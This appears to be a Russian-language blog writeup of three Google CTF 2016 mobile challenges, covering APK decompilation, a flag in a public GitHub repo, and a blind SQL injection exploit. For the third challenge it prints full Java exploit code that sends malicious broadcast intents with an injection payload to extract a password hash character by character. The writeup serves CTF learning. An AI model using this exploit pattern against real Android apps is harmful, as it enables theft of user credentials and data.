Google CTF 2016 Mobile writeups
На прошедшем GCTF 2016 гугл предложил всего 3 задания для этой категории(в других было по 5-6), но от этого они были, возможно, даже более качественными.
1. Ill Intentions
Таск звучит так:
По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 150 очков.
Итак, перед нами APK и больше ничего. Первое, что приходит на ум - установка пакета на эмулятор и декомпиляция пакета. Этим и займемся.
Здесь и далее не будем останавливаться на технических деталях, но все же стоит сказать, что сделать декомпайл с недавних пор стало можно с помощью полностью автоматизированной GUI-тулзы APK Studio. С ее помощью можно автоматизировать процесс декомпиляции и последующей сборки+подписи APK. Понятно, что весь "автомат" строится на той же связке apktool+dex2jar+(java декомпилятор, например jd). Но я предпочитаю "старинку" и произвожу декомпиляцию APK в полу-ручном режиме aka "apktool+dex2jar+jd-gui+(набор своих скриптов)".
Попытаемся установить "недобрые намерения" на эмулятор, предварительно посмотрев минимальную версию SDK Android:
[img][/img]
У меня в распоряжении эмуляторов с шестым андройдом(Marshmallow) и на 1 версию ниже не оказалось, поэтому я решил пойти другим путем: преобразовать низкоуровневый Smali-код в Java код(classes.dex -> JAR`ник) и уже из java-исходников реконструировать приложение. Однако, не все оказалось так сладко.
Если заглянуть в манифест приложения:
то там можно увидеть 4 активности, первая из которых не представляет никакого интереса, а последующие 3 явно говорят своими именами, что они причастны к флагу. Посмотрев в реконструированный Java-код любой из тех трёх можно увидеть интересную вещь:
И вещь заключается в том, что рутина по вычислению флага частично вынесена на более низкий уровень кода - на уровень JNI.
Что ж, руки чешутся сразу же отыскать в нативном C++ коде функцию computeFlag(). Для этого нам нужно произвести дизассемблирование нативной библиотеки(.so).
Но то, что там(а точнее, чего там нет) не обрадует:
IDA не говорит ни слова про computeFlag() в либе...да и в Java-коде нет нигде вызова этой функции - только импорт.
Делаем вывод, что ребята из гугла таким образом просто постебались =)
Возвращаемся к идее о реконструкции приложения(создание своего идентичного APK). Миграция Java-кода и его "дореконструкция" не составляет проблемы, но вот что реально может их создать - импорт нативных функций. Их имена уже были выше, вот они:
1) Java_com_example_application_IsThisTheRealOne_perhapsThis
2) Java_com_example_application_ThisIsTheRealOne_orThat
3) Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis
2) Java_com_example_application_ThisIsTheRealOne_orThat
3) Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis
Последняя функция говорит за себя(стеб от гугла уже закончился) - если ее дизассемблировать и посмотреть, то можно будет увидеть, что из нее возвращается статическая строчка - "Told you so!", поэтому про нее сразу забываем.
Имена нативных функций содержат название пакета+название класса, из которого(и только из которого) они могут быть вызваны в Java-коде - в противном случае на стадии вызова функции из высокоуровневого кода возникнет ошибка. Поэтому реставрируемое приложение должно в точности повторять имена, используемые в оригинальном APK, а вызов нативных JNI-функций должен происходить из соответствующих Java-классов.
Зная это, производим реставрацию кода. Код класса ThisIsTheRealOne и IsThisTheRealOne во многом идентичны - различается только рутина по вычислению строки(флага?) в методе клика по кнопке onclick()(см.выше).
Произведем модификацию кода, обрабатывающего клик, добавив в его конец вывод вычисленных строк в лог Android-приложения:
Log.d("CTF", i.getStringExtra("msg"));
Собрав приложение, открывать активности (ThisIsTheRealOne и IsThisTheRealOne) придется с помощью ADB утилиты AM(activity manager), т.к интерфейс приложения не позволяет этого делать в gui-режиме (хотя это можно исправить, дописав 5 строчек кода, но лень).
Вот вычисленная строка из активности ThisIsTheRealOne:
KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!
А вот из IsThisTheRealOne:
Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}
Вместе с флагом, который говорит о том, что гугл плохо не шутит. Снова стёб? :)
2. Can you repo it?
Таск звучит так:
Do you think the developer of Ill Intentions knows how to set up public repositories?
По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось всего 5 очков.
Во время исследования "нехороших намерений" под руку попался файл ресурсов Android приложения, содержащий строки. Там обычно много всего интересного, и этот раз не стал исключением:
Сразу видим flag, частотный криптоанализ содержимого которого показывает, что это, скорее всего, шифр Цезаря. И правда, оказался Rot-13, но гугл стебется над тем, кто правда думает, что даже 5 баллов могут даться так просто. Делаем Rot-13(Rot-13()):
Did you think it would be that easy?
Ок. Придется думать, что ж. Нужно найти некий публичный репозиторий. Скорее всего, это GitHub. И для того, чтобы найти на его просторах флаг, необходимо что-то поистине уникальное(имя юзера или репозитория). Прямо под флагом как раз то, что и может быть таким "поистине уникальным":
<string name="git_user">l33tdev42</string>
Простой гуглинг не дает результатов, что поначалу как-то выбивает из сил...но перейдя на гитхаб и произведя поиск "l33tdev42" там, натыкаемся на уникального юзера:
У которого 1 единственный проект с 3 коммитами...проект простоват, а коммита целых три:
Внутри последнего как раз нужный флаг:
ctf{TheHairCutTookALoadOffMyMind}
Признаться, 5 баллов - все же маловато за такой таск...
Это был самый первый таск из Mobile, который удалось затащить. После него показалось, что в тасках за 150 и более находятся в принципе нерешабельные задачи, но, как уже и говорилось, гугл стебется :)
3. Little Bobby Application
Таск звучит так:
Find the vulnerability, develop an exploit, and when you're ready,
submit your APK to https://bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to return the result.
BobbyApplication_CTF.apk
По ссылке:
Upload an APK, wait a bit for your target to load your malicious APK, and get the logs...
По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 250 очков.
Нужно найти уязвимость в Android-приложении, написать эксплоит и с помощью этого эксплоита вытащить флаг из реального юзера. Анализ работоспособности эксплоита происходит на эмуляторе на сервере. Спустя в среднем 13 минут возвращается лог приложения-эксплоита, в который можно писать все, что угодно, но лучше туда писать флаг, конечно же.
На первый взгляд страшновато, но не стоит забывать о том, что гугл любит стебаться.
Вот как выглядит Bobby-приложение:
Простенькая форма для авторизации и возможность регистрации. Что ж, декомпайл-тайм!
Декомпиляция показала, что приложение использует Sqlite для хранения данных с интересно спроектированной таблицей Users:
Флаг говорит о том, что инъекция - это все, что нужно сделать, чтобы получить флаг.
Динамическая часть флага - md5 от пароля пользователя. Этот-то хэш и нужно утащить с помощью эксплоита, чтобы "собрать" конечный флаг.
Ищем уязвимость.
Этот процесс прошел достаточно быстро. Приложение содержало всего 8 классов и найти уязвимый модуль не составило проблемы. Уязвимость заключалась в следующем: при старте приложение регистрировало приемник широковещательных событий, поступаемых извне:
Обработчиком входящих broadcast`ов выступал класс-наследник BroadcastReceiver, в котором содержался следующий код:
А вот имплементация метода checkLogin() :
Как видно, метод не фильтрует входящие данные, которые потом используются при генерации "сырого" SQL-запроса к базе.
Ручная эксплуатация показала, что там действительно дырка в безопасности, позволяющая модифицировать запрос через форму.
Также видно, что это Blind SQLi, так как метод checkLogin() возвращает статические строки, независимые от инпута.
Но тем не менее в зависимости от количества выбранных запросом записей(больше нуля) мы можем управлять поведением этого метода, высасывая с каждым злонамеренным запросом 1 бит информации о любом поле таблицы БД (да и о самой БД и вообще о чем угодно), но нас интересует поле password, как уже говорилось выше, для "сборки" флага.
Пишем эксплоит.
Алгоритм эксплоита:
1) Запустить Bobby-приложение для того, чтобы оно запустило приемник broadcast-событий
2) Формировать malicious intent для приемника с "злыми" данными
3) Слать широковещательное событие с интентом, содержащим вредоносные данные
4) Получать ответ от приемника Bobby-приложения о результате
5) Повторять до тех пор, пока все нужные данные не будут посимвольно "высосаны"
Для реализации эксплоита достаточно двух классов. Код получился небольшой, поэтому он приведен ниже:
Главная активность эксплоита:
public class Main extends Activity {
// Поиск символов по всей таблице символов Unicode
static int L = 0, R = (int)Math.pow(2,16);
public static int symbolNum = 0;
public static Main activity = null;
public static StringBuilder flag = new StringBuilder();
public static void SendBroadcast()
{
if(Main.symbolNum>32)
{
Main.Finish();
return;
}
// Формируем вредоносное намерение.
// Эксплуатация уязвимости будет происходить с использованим бинарного поиска
int M = (L+R)/2;
Intent maliciousIntent = new Intent();
maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
maliciousIntent.putExtra("password", "1");
activity.sendBroadcast(maliciousIntent);
}
public static void Finish()
{
// Выводим в лог найденный флаг
Log.d("FLAG", Main.flag.toString());
Main.activity.finish();
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
activity = this;
// Регистрируем приемник широковещательных событий(ответов) от onReceive() Bobby-приложения
IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
registerReceiver(new MalReceiver(), filter);
// Запускаем Bobby-приложение
// (в совершенстве - нужно следить, чтобы в системе был единственный экземпляр)
PackageManager pm = getPackageManager();
Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
if (intent != null){
startActivity(intent);
}
// Ждем некоторое время, пока активность вместе с интересующим приемником развернется
Handler handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
SendBroadcast();
}
}, 2000);
}
}
Приемник ответов от Bobby:
public class MalReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// Получаем ответ от Bobby-приложения
String answer = intent.getStringExtra("msg");
// SQL TRUE
if(answer.compareToIgnoreCase("Incorrect password")==0)
{
// Ищем дальше
Main.L = (Main.L + Main.R)/2;
}
// SQL FALSE
else{
// Ищем дальше
Main.R = (Main.L + Main.R)/2;
}
// Нашли N-ый символ хэша пароля
if(Main.R-Main.L <= 1)
{
Main.flag.append((char)Main.R);
Main.symbolNum++;
Main.L = 0; Main.R = (int)Math.pow(2,16);
}
Main.SendBroadcast();
}
}
После этого осталось только отправить эксплоит на сервер, чтобы его протестировали.
Через 15 минут...
Гугл возвращает долгожданный лог, в котором обнаруживаем:
Осталось плевое дело - подставить во флаг полученный хэш:
ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}
Все.
Теперь немного о том, как гугл стебался над теми, кто пытался решить этот таск. Это было довольно хитро - они сразу же после старта на эмуляторе эксплоита с Bobby-приложением стартовали обезьяну(было видно в возвращенном логе), которая "бомбила" рандомными действиями все компоненты системы, из-за чего, например, время от времени закрывалась активность эксплоита. Поначалу было неясно, что прерывало работу эксплоита - ошибок в логе не было, возникали впечатления, что там ограничение по времени. Удачно высосать флаг удалось только с 3 попытки.
В коде экспоита выше приведен минимальный набор действий, демонстрирующий общую концепцию.
То, что реально получилось на практике, содержит тонну кода по защите от monkey, по запрету на запуск более 1 экземпляра приемника на стороне Bobby и т.д.
- Автор: AseN
- Комментарии: 1
- Просмотры: 2667